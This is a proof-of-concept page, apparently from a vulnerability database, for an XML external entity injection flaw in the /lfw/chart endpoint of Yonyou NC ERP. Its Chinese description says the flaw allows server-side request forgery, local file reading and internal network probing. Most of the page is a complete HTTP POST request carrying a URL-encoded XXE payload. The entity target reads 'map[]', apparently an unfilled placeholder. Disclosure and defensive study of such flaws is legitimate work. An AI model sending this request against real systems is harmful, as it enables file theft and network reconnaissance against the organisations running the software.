BiuPoC

用友NC /lfw/chart XML 外部实体注入漏洞

2026-05-09 用友NC PoC Public

Description

用友NC（Yonyou NC）是用友网络科技股份有限公司面向大型企业集团推出的企业级ERP管理平台，是大型企业数字化转型的首选平台。该产品采用多层架构设计，涵盖财务管理、供应链管理、人力资源管理、资产管理等核心业务模块，支持多组织、多账簿、多币种的复杂业务场景，广泛应用于制造、能源、交通、金融等国民经济重点行业。用友NC /lfw/chart 接口存在XML外部实体注入漏洞，攻击者可利用该漏洞发起服务器端请求伪造攻击，读取本地文件或探测内网服务。

PoC

POST /lfw/chart HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Content-Length: 298
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

type=pie&xmlstr=%3C?xml%20version=%271.0%27%20encoding=%27UTF-8%27?%3E%3C!DOCTYPE%20ANY%20[%3C!ENTITY%20pqn%20SYSTEM%20%22map[]%22%3E]%3E%3Cchartdataset%3E%3Cparam%3E%3Ctitle%3E%26pqn;%3C/title%3E%3C/param%3E%3Cchart%3E%3Cname%3EUAP%3C/name%3E%3Ccount%3E1%3C/count%3E%3C/chart%3E%3C/chartdataset%3E

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://gobysec.net/updates# Yonyou NC /lfw/chart XML External Entity Injection Vulnerability

References

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